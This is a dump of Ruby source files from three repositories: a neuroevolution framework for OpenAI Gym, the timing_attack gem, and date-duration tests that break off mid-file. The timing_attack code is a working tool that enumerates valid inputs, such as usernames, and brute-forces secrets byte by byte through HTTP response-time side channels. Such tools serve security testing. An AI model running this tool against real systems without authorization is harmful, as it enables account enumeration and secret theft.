repo stringlengths 5 92 | file_url stringlengths 80 287 | file_path stringlengths 5 197 | content stringlengths 0 32.8k | language stringclasses 1
value | license stringclasses 7
values | commit_sha stringlengths 40 40 | retrieved_at stringdate 2026-01-04 15:37:27 2026-01-04 17:58:21 | truncated bool 2
classes |
|---|---|---|---|---|---|---|---|---|
giuse/DNE | https://github.com/giuse/DNE/blob/c5e0acdfe3be89897049b622ded5fc94348a1b0d/gym_experiment.rb | gym_experiment.rb | require 'parallel' # https://github.com/grosser/parallel
ENV["PYTHON"] = `which python3`.strip # set python3 path for PyCall
require 'pycall/import' # https://github.com/mrkn/pycall.rb/
# IMPORTANT: `require 'numo/narray`' should come AFTER the first `pyimport :gym`
# Don't ask why, don't know, don't care. Check `gym_test.rb` to try it out.
begin
puts "Initializing OpenAI Gym through PyCall"
include PyCall::Import
pyimport :gym # adds the OpenAI Gym environment
rescue PyCall::PythonNotFound => err
raise "\n\nThis project requires Python 3.\n" \
"You can edit the path in the `ENV['PYTHON']` " \
"variable on top of the file.\n\n"
rescue PyCall::PyError => err
raise "\n\nPlease install the OpenAI Gym from https://github.com/openai/gym\n" \
" $ git clone git@github.com:openai/gym.git openai_gym\n" \
" $ pip3 install --user -e openai_gym\n\n"
end
# IMPORTANT: `require 'numo/narray`' should come `AFTER PyCall::Import.pyimport :gym`
require 'machine_learning_workbench' # https://github.com/giuse/machine_learning_workbench/
# Deep Neuroevolution (we're getting there...)
module DNE
# Shorthands
NES = WB::Optimizer::NaturalEvolutionStrategies
NN = WB::NeuralNetwork
# Loads an experiment description from a config hash, initialize everything and run it
class GymExperiment
include PyCall::Import
attr_reader :config, :single_env, :net, :opt, :parall_envs, :max_nsteps, :max_ngens,
:termination_criteria, :random_seed, :debug, :skip_frames, :skip_type, :fit_fn, :netopts,
:opt_type, :opt_opt # hack away!! `AtariUlerlExperiment#update_opt`
def initialize config
@config = config
# TODO: I really don't like these lines below... please refactor
@max_nsteps = config[:run][:max_nsteps]
@max_ngens = config[:run][:max_ngens]
@termination_criteria = config[:run][:termination_criteria]
@random_seed = config[:run][:random_seed]
@debug = config[:run][:debug]
@skip_frames = config[:run][:skip_frames] || 0
@skip_type = config[:run][:skip_type] || :noop
@fit_fn = gen_fit_fn config[:run][:fitness_type]
if debug
real_fit = @fit_fn
@fit_fn = -> (ind) { puts "pre_fit"; real_fit.call(ind).tap { puts "post_fit" } }
end
pyimport :gym # adds the OpenAI Gym environment to this class as `gym`
puts "Initializing single env" if debug
@single_env = init_env config[:env] # one put aside for easy access
puts "Initializing network" if debug
config[:net][:ninputs] ||= single_env.obs_size
config[:net][:noutputs] ||= single_env.act_size
@netopts = config[:net]
@net = init_net netopts
puts "Initializing optimizer" if debug
@opt = init_opt config[:opt]
# puts "Initializing parallel environments" if debug
# unless config[:run][:fitness_type] == :sequential_single
# # for parallel fitness computation
# # TODO: test if `single_env` forked is sufficient (i.e. if Python gets forked)
# @parall_envs = Parallel.processor_count.times.map { init_env config[:env] }
# end
@parall_envs = ParallEnvs.new method(:init_env), config[:env]
puts "=> Initialization complete" if debug
end
# Automatic, dynamic environment initialization
# need Array to behave somehow akin to Hash.new
class ParallEnvs < Array
attr_reader :init_fn, :config
def initialize init_fn, config
@init_fn = init_fn
@config = config
super()
end
def [] i
super || (self[i] = init_fn.call config)
end
end
# Debugging utility.
# Visually inspect if the environment is properly initialized.
def test_env env=nil, nsteps=100
env ||= gym.make('CartPole-v1')
env.reset
env.render
nsteps.times do |i|
act = env.action_space.sample
env.step(act)
env.render
end
env.reset
end
# Initializes the environment
# @note python environments interfaced through pycall
# @param type [String] the type of environment as understood by OpenAI Gym
# @return an initialized environment
def init_env type:
# TODO: make a wrapper around the observation to avoid switch-when
puts " initializing env" if debug
## NOTE: uncomment the following to work with the GVGAI Gym environment from NYU
# if type.match /gvgai/
# begin # can't wait for Ruby 2.5 to simplify this to if/rescue/end
# puts "Loading GVGAI environment" if debug
# pyimport :gym_gvgai
# rescue PyCall::PyError => err
# raise "\n\nTo run GVGAI environments you need to install the Gym env:\n" \
# " $ git clone git@github.com:rubenrtorrado/GVGAI_GYM.git gym-gvgai\n" \
# " $ pip3 install --user -e gym-gvgai/gvgai-gym/\n\n"
# end
# end
# NOTE: uhm should move this to AtariWrapper now that we have it
gym.make(type).tap do |env|
# Collect info about the observation space
obs = env.reset.tolist.to_a
raise "Unrecognized observation space" if obs.nil? || obs.empty?
env.define_singleton_method(:obs_size) { obs.size }
# Collect info about the action space
act_type, act_size = env.action_space.to_s.match(/(.*)\((\d*)\)/).captures
raise "Unrecognized action space" if act_type.nil? || act_size.nil?
env.define_singleton_method(:act_type) { act_type.downcase.to_sym }
env.define_singleton_method(:act_size) { Integer(act_size) }
# TODO: address continuous actions
raise NotImplementedError, "Only 'Discrete' action types at the moment please" \
unless env.act_type == :discrete
puts "Space sizes: obs => #{env.obs_size}, act => #{env.act_size}" if debug
end
end
# Initialize the controller
# @param type [Symbol] name the class of neural network to use (from the WB)
# @param hidden_layers [Array] list of hidden layer sizes for the networks structure
# @param activation_function [Symbol] name one of the activation functions available
# @param ninputs [Integer] number of inputs to the network
# @param noutputs [Integer] number of outputs of the network
# @return an initialized neural network
def init_net type:, hidden_layers:, activation_function:, ninputs:, noutputs:, **act_fn_args
netclass = NN.const_get(type)
netstruct = [ninputs, *hidden_layers, noutputs]
netclass.new netstruct, act_fn: activation_function, **act_fn_args
end
# Initialize the optimizer
# @param type [Symbol] name the (NES atm) algorithm of choice
# @return an initialized instance
def init_opt type:, **opt_opt
@opt_type = type
@opt_opt = opt_opt
dims = case type
when :XNES, :SNES, :RNES, :FNES
net.nweights
when :BDNES
net.nweights_per_layer
else
raise NotImplementedError, "Make sure to add `#{type}` to the accepted ES"
end
NES.const_get(type).new dims, fit_fn, :max, parallel_fit: true, rseed: random_seed, **opt_opt
end
# Return an action for an observation
# @note convert the observation to network inputs, activatie the network,
# then interprete the network output as the corresponding action
def action_for observation
# TODO: continuous actions (checked at `init_env`)
input = observation.tolist.to_a
# TODO: probably a function generator here would be notably more efficient
# TODO: the normalization range depends on the net's activation function!
output = net.activate input
begin # NaN outputs are pretty good bug indicators
action = output.max_index
rescue ArgumentError, Parallel::UndumpableException
puts "\n\nNaN NETWORK OUTPUT!"
output.map! { |out| out = -Float::INFINITY if out.nan? }
action = output.index output.max
end
end
# Builds a function that return a list of fitnesses for a list of genotypes.
# @param type the type of computation
# @return [lambda] function that evaluates the fitness of a list of genotype
# @note returned function has param genotypes [Array<gtype>] list of genotypes, return [Array<Numeric>] list of fitnesses for each genotype
def gen_fit_fn type, ntrials: nil
type ||= :parallel
case type
# SEQUENTIAL ON SINGLE ENVIRONMENT
# => to catch problems with `Parallel` env spawning
when :sequential_single
-> (genotypes) { genotypes.map &method(:fitness_one) }
# SEQUENTIAL ON MULTIPLE ENVIRONMENTS
# => to catch problems in multiple env spawning avoiding `Parallel`
when :sequential_multi
-> (genotypes) do
genotypes.zip(parall_envs).map do |genotype, env|
fitness_one genotype, env: env
end.to_na
end
# PARALLEL ON MULTIPLE ENVIRONMENTS
# => because why not
when :parallel
nprocs = Parallel.processor_count - 1 # it's actually faster this way
-> (genotypes) do
Parallel.map(0...genotypes.shape.first, in_processes: nprocs) do |i|
fitness_one genotypes[i,true], env: parall_envs[i]
end.to_na
end
else raise ArgumentError, "Unrecognized fit type: `#{type}`"
end
end
SKIP_TYPE = {
noop: -> (act, env) { env.step(0) },
repeat: -> (act, env) { env.step(act) }
}
# Return the fitness of a single genotype
# @param genotype the individual to be evaluated
# @param env the environment to use for the evaluation
# @param render [bool] whether to render the evaluation on screen
# @param nsteps [Integer] how many interactions to run with the game.
# One interaction is one action choosing + enacting and `skip_frames` repetitions/noops
def fitness_one genotype, env: single_env, render: false, nsteps: max_nsteps
puts "Evaluating one individual" if debug
puts " Loading weights in network" if debug
net.deep_reset # <= this becomes necessary as we change net struct during training
net.load_weights genotype
observation = env.reset
env.render if render
tot_reward = 0
puts " Running (max_nsteps: #{max_nsteps})" if debug
nsteps.times do |i|
# TODO: refactor based on `atari_ulerl`
raise "Update this from ulerl"
# execute once, execute skip, unshift result, convert all
# need to pass also some of the helper functions in this class
selected_action, normobs, novelty = action_for observation
# observation, reward, done, info = env.step(selected_action).to_a
observations, rewards, dones, infos = skip_frames.times.map do
SKIP_TYPE[skip_type].call(selected_action, env).to_a
end.transpose
# NOTE: this below blurs the observation. An alternative is to isolate what changes.
observation = observations.reduce(:+) / observations.size
reward = rewards.reduce :+
done = dones.any?
tot_reward += reward
env.render if render
break if done
end
puts "=> Done, fitness: #{tot_reward}" if debug
tot_reward
end
# Run the experiment
def run ngens: max_ngens
ngens.times do |i|
print "Gen #{i+1}: "
opt.train
puts "Best fit so far: #{opt.best.first} -- " \
"Avg fit: #{opt.last_fits.mean} -- " \
"Conv: #{opt.convergence}"
break if termination_criteria&.call(opt)
end
end
# Runs an individual, by default the highest scoring found so far
# @param which [<:best, :mean, NArray>] which individual to run: either the best,
# the mean, or one passed directly as argument
# @param until_end [bool] raises the `max_nsteps` to see interaction until `done`
def show_ind which=:best, until_end: false
ind = case which
when :best then opt.best.last
when :mean then opt.mu
when NArray then which
else raise ArgumentError, "Which should I show? `#{which}`"
end
nsteps = until_end ? max_nsteps*1000 : max_nsteps
print "Re-running best individual "
fit = fitness_one ind, render: true, nsteps: nsteps
puts "-- fitness: #{fit}"
end
end
end
puts "USAGE: `bundle exec ruby experiments/<expname>.rb`" if __FILE__ == $0
| ruby | MIT | c5e0acdfe3be89897049b622ded5fc94348a1b0d | 2026-01-04T17:53:51.078468Z | false |
giuse/DNE | https://github.com/giuse/DNE/blob/c5e0acdfe3be89897049b622ded5fc94348a1b0d/experiments/acrobot.rb | experiments/acrobot.rb | require_relative '../gym_experiment'
config = {
net: {
type: :Recurrent,
hidden_layers: [5,5],
activation_function: :logistic
},
env: {
type: 'Acrobot-v1'
},
run: {
max_nsteps: 500,
max_ngens: 5,
termination_criteria: -> (opt) { opt.best.first > -10 },
random_seed: 1
},
opt: {
type: :BDNES
}
}
exp = GymExperiment.new config
exp.run
puts "Re-running best individual "
exp.show_best
require 'pry'; binding.pry
| ruby | MIT | c5e0acdfe3be89897049b622ded5fc94348a1b0d | 2026-01-04T17:53:51.078468Z | false |
giuse/DNE | https://github.com/giuse/DNE/blob/c5e0acdfe3be89897049b622ded5fc94348a1b0d/experiments/atari.rb | experiments/atari.rb | require_relative '../atari_ulerl_experiment'
config = {
net: {
type: :Recurrent,
hidden_layers: [],
activation_function: :logistic,
# noutputs: 6, # lock to using 6 neurons
# noutputs: 10, # lock to using 10 neurons
# steepness: 0.5 # activation function steepness
},
env: {
type: 'DemonAttack-v0'
},
run: {
max_nsteps: 200,
max_ngens: 100,
# fitness_type: :sequential_single, # pry-rescue exceptions avoiding Parallel workers
fitness_type: :parallel, # [:sequential_single, :sequential_multi, :parallel]
# random_seed: 1,
skip_frames: 5,
skip_type: :noop, # [:noop, :repeat]
ntrials_per_ind: 5,
# debug: true
},
opt: {
type: :XNES,#:BDNES,
# sigma_init: 1,
rescale_popsize: 1.5, # multiplicative factor
# popsize: 5, # 5 is minimum for automatic utilities to work
# popsize: 1, utilities: [1].to_na, # to debug inside Parallel calls
rescale_lrate: 0.5, # multiplicative factor
# lrate: 0.08, # "original" (CMA-ES) magic number calls for ~0.047 on 2000 dims
mu_init: -0.5..0.5
},
compr: {
type: :IncrDictVQ, # [:VectorQuantization, :CopyVQ, :IncrDictVQ]
# LOWER for MORE centroids
equal_simil: 0.005,
# equal_simil: 0.00495, # Qbert
# equal_simil: 0.005, # DemonAttack
# equal_simil: 0.005, # SpaceInvaders => 37
# equal_simil: 0.005, # FishingDerby
# equal_simil: 0.0052, # Phoenix
# equal_simil: 0.00495, # Frostbite
# equal_simil: 0.0049, # Seaquest
# equal_simil: 0.0049, # KungFuMaster
# equal_simil: 0.0033, # Kangaroo => 288 start screen bug!
# equal_simil: 0.0055, # TimePilot
# equal_simil: 0.005, # NameThisGame
# type: :DecayingLearningRateVQ,
# lrate_min_den: 1,
# lrate_min: 0.001,
# decay_rate: 1,
# type: :VectorQuantization,
# lrate: 0.7,
# encoding: how to encode a vector based on similarity to centroids
encoding_type: :sparse_coding, # [:most_similar, :most_similar_ary, :ensemble, :norm_ensemble, :sparse_coding_v1, :sparse_coding]
# preproc: whether/which pre-processing to do on the image before elaboration
preproc: :none, # [:none, :subtr_bg]
# simil_type: how to measure similarity between a vector and a centroid
simil_type: :dot, # [:dot, :mse]
# BEWARE! If using IncrDictVQ need to set the following to `1.0`!
seed_proport: 1.0, # proportional seeding of initial centroids with env reset obs (nil => disabled)
# NOTE: uncomment if switching to novelty-based selection
# nobs_per_ind: 5, # how many observations to get from each ind to train the compressor
# ncentrs: 20,#0, # => switched to dynamic now!
downsample: [3, 2], # divisors [row, col]
init_centr_vrange: [0.0, 1.0],
# TODO: remove (automate) the following
obs_range: [0, 255],
# vrange: [-1,1], # => careful what your zero means
vrange: [0.0, 1.0], # encode images in [0,1]
orig_size: [210, 160] # ALE image size [row, col] (not true for all games! beware!)
}
}
log_dir = 'log'
FileUtils.mkdir_p log_dir
log_fname = WB::Tools::Logging.split_to log_dir
exp_name = log_fname[/\/(.*)\.log$/,1]
print "config = "
puts config
exp = DNE::AtariUlerlExperiment.new config
# require 'memory_profiler'; report = MemoryProfiler.report { exp.run }; report.pretty_print
exp.run
WB::Tools::Logging.restore_streams
exp.dump "atari_#{exp_name}.bin"
# exp.show_ind :mean, until_end: true
# exp.compr.show_centroids
require 'pry'; binding.pry
| ruby | MIT | c5e0acdfe3be89897049b622ded5fc94348a1b0d | 2026-01-04T17:53:51.078468Z | false |
giuse/DNE | https://github.com/giuse/DNE/blob/c5e0acdfe3be89897049b622ded5fc94348a1b0d/experiments/cartpole.rb | experiments/cartpole.rb | require_relative '../gym_experiment'
config = {
net: {
type: :Recurrent,
hidden_layers: [],
activation_function: :logistic
},
env: {
type: 'CartPole-v1'
},
run: {
max_nsteps: 550,
max_ngens: 5,
random_seed: 1,
fitness_type: :parallel
# debug: true
},
opt: {
type: :BDNES
}
}
exp = DNE::GymExperiment.new config
exp.run
puts "Re-running best individual "
exp.show_best until_end: true
require 'pry'; binding.pry
| ruby | MIT | c5e0acdfe3be89897049b622ded5fc94348a1b0d | 2026-01-04T17:53:51.078468Z | false |
ffleming/timing_attack | https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/spec/timing_attack_spec.rb | spec/timing_attack_spec.rb | require 'spec_helper'
describe TimingAttack do
end
| ruby | MIT | a7f4e5e46f70f9236d163a79e3dd2911d131dd4e | 2026-01-04T17:53:55.042583Z | false |
ffleming/timing_attack | https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/spec/spec_helper.rb | spec/spec_helper.rb | $LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
require 'timing_attack'
| ruby | MIT | a7f4e5e46f70f9236d163a79e3dd2911d131dd4e | 2026-01-04T17:53:55.042583Z | false |
ffleming/timing_attack | https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/spec/test_case_spec.rb | spec/test_case_spec.rb | require 'spec_helper'
describe TimingAttack::TestCase do
let(:klass) { TimingAttack::TestCase }
let(:input_param) { "dogs are cool + 1" }
let(:test_case) do
klass.new(
input: input_param,
options: {
url: "http:/localhost:3000/",
params: {
login: "INPUT",
"INPUT" => "value"
}
}
)
end
it "should properly set params" do
expect(test_case.send(:params)).to eq(
login: input_param,
input_param => "value"
)
end
end
| ruby | MIT | a7f4e5e46f70f9236d163a79e3dd2911d131dd4e | 2026-01-04T17:53:55.042583Z | false |
ffleming/timing_attack | https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack.rb | lib/timing_attack.rb | require 'typhoeus'
require 'json'
require 'optparse'
require 'ruby-progressbar'
require "timing_attack/version"
require "timing_attack/errors"
require "timing_attack/attacker"
require 'timing_attack/spinner'
require "timing_attack/brute_forcer"
require "timing_attack/grouper"
require "timing_attack/test_case"
require "timing_attack/enumerator"
module TimingAttack
INPUT_FLAG = "INPUT"
end
| ruby | MIT | a7f4e5e46f70f9236d163a79e3dd2911d131dd4e | 2026-01-04T17:53:55.042583Z | false |
ffleming/timing_attack | https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/test_case.rb | lib/timing_attack/test_case.rb | require 'uri'
module TimingAttack
class TestCase
attr_reader :input
def initialize(input: , options: {})
@input = input
@options = options
@times = []
@percentiles = []
@hydra_requests = []
@url = URI.escape(
options.fetch(:url).
gsub(INPUT_FLAG, input)
)
@params = params_from(options.fetch(:params, {}))
@body = params_from(options.fetch(:body, {}))
@headers = params_from(options.fetch(:headers, {}))
@basic_auth_username = params_from(
options.fetch(:basic_auth_username, "")
)
@basic_auth_password = params_from(
options.fetch(:basic_auth_password, "")
)
end
def generate_hydra_request!
req = Typhoeus::Request.new(url, **typhoeus_opts)
@hydra_requests.push req
req
end
def typhoeus_opts
{
method: options.fetch(:method),
followlocation: true,
}.tap do |h|
h[:params] = params unless params.empty?
h[:body] = body unless body.empty?
h[:headers] = headers unless headers.empty?
h[:userpwd] = typhoeus_basic_auth unless typhoeus_basic_auth.empty?
end
end
def typhoeus_basic_auth
return "" if basic_auth_username.empty? && basic_auth_password.empty?
"#{basic_auth_username}:#{basic_auth_password}"
end
def process!
@hydra_requests.each do |request|
response = request.response
diff = response.time - response.namelookup_time
@times.push(diff)
end
end
def mean
times.reduce(:+) / times.size.to_f
end
def percentile(n)
raise ArgumentError.new("Can't have a percentile > 100") if n > 100
if percentiles[n].nil?
position = ((times.length - 1) * (n/100.0)).to_i
percentiles[n] = times.sort[position]
else
percentiles[n]
end
end
private
def params_from(obj)
case obj
when String
obj.gsub(INPUT_FLAG, input)
when Symbol
params_from(obj.to_s).to_sym
when Hash
Hash[obj.map {|k, v| [params_from(k), params_from(v)]}]
when Array
obj.map {|el| params_from(el) }
else
obj
end
end
attr_reader :times, :options, :percentiles, :url, :params, :body
attr_reader :basic_auth_username, :basic_auth_password, :headers
end
end
| ruby | MIT | a7f4e5e46f70f9236d163a79e3dd2911d131dd4e | 2026-01-04T17:53:55.042583Z | false |
ffleming/timing_attack | https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/version.rb | lib/timing_attack/version.rb | module TimingAttack
VERSION = "0.7.1"
end
| ruby | MIT | a7f4e5e46f70f9236d163a79e3dd2911d131dd4e | 2026-01-04T17:53:55.042583Z | false |
ffleming/timing_attack | https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/errors.rb | lib/timing_attack/errors.rb | module TimingAttack
module Errors
BruteForcerError = Class.new(StandardError)
InvalidFileFormatError = Class.new(StandardError)
FileNotFoundError = Class.new(StandardError)
end
end
| ruby | MIT | a7f4e5e46f70f9236d163a79e3dd2911d131dd4e | 2026-01-04T17:53:55.042583Z | false |
ffleming/timing_attack | https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/grouper.rb | lib/timing_attack/grouper.rb | module TimingAttack
class Grouper
attr_reader :short_tests, :long_tests
def initialize(attacks: , group_by: {})
@attacks = attacks
setup_grouping_opts!(group_by)
@short_tests = []
@long_tests = []
group_attacks
serialize
freeze
end
def serialize
@serialize ||= {}.tap do |h|
h[:attack_method] = test_method
h[:attack_args] = test_args
h[:short] = serialize_tests(short_tests)
h[:long] = serialize_tests(long_tests)
h[:spike_delta] = spike_delta
end
end
private
ALLOWED_TEST_SYMBOLS = %i(mean median percentile).freeze
attr_reader :test_method, :test_args, :attacks, :test_hash, :spike_delta
def setup_grouping_opts!(group_by)
case group_by
when Symbol
setup_symbol_opts!(group_by)
when Hash
setup_hash_opts!(group_by)
else
raise ArgumentError.new("Don't know what to do with #{group_by.class} #{group_by}")
end
end
def setup_symbol_opts!(symbol)
case symbol
when :mean
@test_method = :mean
@test_args = []
when :median
@test_method = :percentile
@test_args = [50]
when :percentile
@test_method = :percentile
@test_args = [10]
else
raise ArgumentError.new("Allowed symbols are #{ALLOWED_TEST_SYMBOLS.join(', ')}")
end
end
def setup_hash_opts!(hash)
raise ArgumentError.new("Must provide configuration to Grouper") if hash.empty?
key, value = hash.first
unless ALLOWED_TEST_SYMBOLS.include? key
raise ArgumentError.new("Allowed keys are #{ALLOWED_TEST_SYMBOLS.join(', ')}")
end
@test_method = key
@test_args = value.is_a?(Array) ? value : [value]
end
def value_from_test(test)
test.public_send(test_method, *test_args)
end
def serialize_tests(test_arr)
test_arr.each_with_object({}) do |test, ret|
ret[test.input] = value_from_test(test)
end
end
def group_attacks
spike = decorated_attacks.max { |a,b| a[:delta] <=> b[:delta] }
index = decorated_attacks.index(spike)
stripped = decorated_attacks.map {|a| a[:attack] }
@short_tests = stripped[0..(index-1)]
@long_tests = stripped[index..-1]
@spike_delta = spike[:delta]
end
def decorated_attacks
return @decorated_attacks unless @decorated_attacks.nil?
sorted = attacks.sort { |a,b| value_from_test(a) <=> value_from_test(b) }
@decorated_attacks = sorted.each_with_object([]).with_index do |(attack, memo), index|
delta = if index == 0
0.0
else
value_from_test(attack) - value_from_test(sorted[index-1])
end
memo << { attack: attack, delta: delta }
end
end
end
end
| ruby | MIT | a7f4e5e46f70f9236d163a79e3dd2911d131dd4e | 2026-01-04T17:53:55.042583Z | false |
ffleming/timing_attack | https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/brute_forcer.rb | lib/timing_attack/brute_forcer.rb | module TimingAttack
class BruteForcer
include TimingAttack::Attacker
def initialize(options: {})
super(options: options)
@known = ""
end
private
attr_reader :known
POTENTIAL_BYTES = (' '..'z').to_a
def attack!
begin
while(true)
attack_byte!
end
rescue Errors::BruteForcerError => e
puts "\n#{e.message}"
exit(1)
end
end
def attack_byte!
@attacks = POTENTIAL_BYTES.map do |byte|
TimingAttack::TestCase.new(input: "#{known}#{byte}",
options: options)
end
run_attacks_for_single_byte!
process_attacks_for_single_byte!
end
def run_attacks_for_single_byte!
hydra = Typhoeus::Hydra.new(max_concurrency: concurrency)
iterations.times do
attacks.each do |attack|
req = attack.generate_hydra_request!
req.on_complete do |response|
print "\r#{' ' * (known.length + 4)}"
output.increment
print " '#{known}'"
end
hydra.queue req
end
end
hydra.run
end
def process_attacks_for_single_byte!
attacks.each(&:process!)
grouper = Grouper.new(attacks: attacks, group_by: { percentile: options.fetch(:percentile) })
results = grouper.long_tests.map(&:input)
if grouper.long_tests.count > 1
msg = "Got too many possibilities to continue brute force:\n\t"
msg << results.join("\t")
raise Errors::BruteForcerError.new(msg)
end
@known = results.first
end
def output
@output ||= TimingAttack::Spinner.new
end
end
end
| ruby | MIT | a7f4e5e46f70f9236d163a79e3dd2911d131dd4e | 2026-01-04T17:53:55.042583Z | false |
ffleming/timing_attack | https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/spinner.rb | lib/timing_attack/spinner.rb | module TimingAttack
class Spinner
STATES = %w(| / - \\)
def increment
@_spinner ||= 0
print "\r #{STATES[@_spinner % STATES.length]}"
@_spinner += 1
@_spinner = 0 if @_spinner >= STATES.length
end
end
end
| ruby | MIT | a7f4e5e46f70f9236d163a79e3dd2911d131dd4e | 2026-01-04T17:53:55.042583Z | false |
ffleming/timing_attack | https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/enumerator.rb | lib/timing_attack/enumerator.rb | module TimingAttack
class Enumerator
include TimingAttack::Attacker
def initialize(inputs: [], options: {})
@inputs = inputs
raise ArgumentError.new("Need at least 2 inputs") if inputs.count < 2
super(options: options)
@attacks = inputs.map { |input| TestCase.new(input: input, options: @options) }
end
def run!
super
puts report
end
private
attr_reader :grouper, :inputs
def report
ret = ''
hsh = grouper.serialize
if hsh[:spike_delta] < threshold
ret << "\n* Spike delta of #{sprintf('%.4f', hsh[:spike_delta])} is less than #{sprintf('%.4f', threshold)} * \n\n"
end
[:short, :long].each do |sym|
ret << "#{sym.to_s.capitalize} tests:\n"
hsh.fetch(sym).each do |input, time|
ret << " #{input.ljust(width)}"
ret << sprintf('%.4f', time) << "\n"
end
end
ret
end
def attack!
hydra = Typhoeus::Hydra.new(max_concurrency: concurrency)
iterations.times do
attacks.each do |attack|
req = attack.generate_hydra_request!
req.on_complete do |response|
output.increment
end
hydra.queue req
end
end
hydra.run
attacks.each(&:process!)
end
def grouper
return @grouper unless @grouper.nil?
group_by = if options.fetch(:mean, false)
:mean
else
{ percentile: options.fetch(:percentile) }
end
@grouper = Grouper.new(attacks: attacks, group_by: group_by)
end
def output
return null_bar unless verbose?
@output ||= ProgressBar.create(title: " Attacking".ljust(15),
total: iterations * attacks.length,
format: bar_format
)
end
def bar_format
@bar_format ||= "%t (%E) |%B|"
end
def null_bar
@null_bar_klass ||= Struct.new('NullProgressBar', :increment)
@null_bar ||= @null_bar_klass.new
end
def default_options
super.merge(
width: inputs.dup.map(&:length).push(30).sort.last,
).freeze
end
end
end
| ruby | MIT | a7f4e5e46f70f9236d163a79e3dd2911d131dd4e | 2026-01-04T17:53:55.042583Z | false |
ffleming/timing_attack | https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/attacker.rb | lib/timing_attack/attacker.rb | module TimingAttack
module Attacker
def initialize(options: {}, inputs: [])
@options = default_options.merge(options)
raise ArgumentError.new("Must provide url") if url.nil?
unless specified_input_option?
msg = "'#{INPUT_FLAG}' not found in url, parameters, body, headers, or HTTP authentication options"
raise ArgumentError.new(msg)
end
raise ArgumentError.new("Iterations can't be < 3") if iterations < 3
end
def run!
if verbose?
puts "Target: #{url}"
puts "Method: #{method.to_s.upcase}"
puts "Parameters: #{params.inspect}" unless params.empty?
puts "Headers: #{headers.inspect}" unless headers.empty?
puts "Body: #{body.inspect}" unless body.empty?
end
attack!
end
private
attr_reader :attacks, :options
%i(iterations url verbose width method mean percentile threshold concurrency params body headers).each do |sym|
define_method(sym) { options.fetch sym }
end
alias_method :verbose?, :verbose
def default_options
{
verbose: true,
method: :get,
iterations: 50,
mean: false,
threshold: 0.025,
percentile: 3,
concurrency: 15,
params: {},
body: {},
headers: {},
basic_auth_username: "",
basic_auth_password: ""
}.freeze
end
def option_contains_input?(obj)
case obj
when String
obj.include?(INPUT_FLAG)
when Symbol
option_contains_input?(obj.to_s)
when Array
obj.any? {|el| option_contains_input?(el) }
when Hash
option_contains_input?(obj.keys) || option_contains_input?(obj.values)
end
end
def input_options
@input_options ||= %i(basic_auth_password basic_auth_username body params url headers)
end
def specified_input_option?
input_options.any? { |opt| option_contains_input?(options[opt]) }
end
end
end
| ruby | MIT | a7f4e5e46f70f9236d163a79e3dd2911d131dd4e | 2026-01-04T17:53:55.042583Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/test/date_and_time_behaviour.rb | test/date_and_time_behaviour.rb | module DateAndTimeBehaviour
def with_env_tz(new_tz = 'US/Eastern')
old_tz, ENV['TZ'] = ENV['TZ'], new_tz
yield
ensure
old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
end
def test_days_until
assert_equal new(2005,6,4,10,10,10), 1.days.until(new(2005,6,5,10,10,10))
assert_equal new(2005,5,31,10,10,10), 5.days.until(new(2005,6,5,10,10,10))
end
def test_days_from
assert_equal new(2005,6,6,10,10,10), 1.days.from(new(2005,6,5,10,10,10))
assert_equal new(2005,1,1,10,10,10), 1.days.from(new(2004,12,31,10,10,10))
end
def test_weeks_until
assert_equal new(2005,5,29,10,10,10), 1.weeks.until(new(2005,6,5,10,10,10))
assert_equal new(2005,5,1,10,10,10), 5.weeks.until(new(2005,6,5,10,10,10))
assert_equal new(2005,4,24,10,10,10), 6.weeks.until(new(2005,6,5,10,10,10))
assert_equal new(2005,2,27,10,10,10), 14.weeks.until(new(2005,6,5,10,10,10))
assert_equal new(2004,12,25,10,10,10), 1.weeks.until(new(2005,1,1,10,10,10))
end
def test_weeks_from
assert_equal new(2005,7,14,10,10,10), 1.weeks.from(new(2005,7,7,10,10,10))
assert_equal new(2005,7,14,10,10,10), 1.weeks.from(new(2005,7,7,10,10,10))
assert_equal new(2005,7,4,10,10,10), 1.weeks.from(new(2005,6,27,10,10,10))
assert_equal new(2005,1,4,10,10,10), 1.weeks.from(new(2004,12,28,10,10,10))
end
def test_months_until
assert_equal new(2005,5,5,10,10,10), 1.months.until(new(2005,6,5,10,10,10))
assert_equal new(2004,11,5,10,10,10), 7.months.until(new(2005,6,5,10,10,10))
assert_equal new(2004,12,5,10,10,10), 6.months.until(new(2005,6,5,10,10,10))
assert_equal new(2004,6,5,10,10,10), 12.months.until(new(2005,6,5,10,10,10))
assert_equal new(2003,6,5,10,10,10), 24.months.until(new(2005,6,5,10,10,10))
end
def test_months_from
assert_equal new(2005,7,5,10,10,10), 1.months.from(new(2005,6,5,10,10,10))
assert_equal new(2006,1,5,10,10,10), 1.months.from(new(2005,12,5,10,10,10))
assert_equal new(2005,12,5,10,10,10), 6.months.from(new(2005,6,5,10,10,10))
assert_equal new(2006,6,5,10,10,10), 6.months.from(new(2005,12,5,10,10,10))
assert_equal new(2006,1,5,10,10,10), 7.months.from(new(2005,6,5,10,10,10))
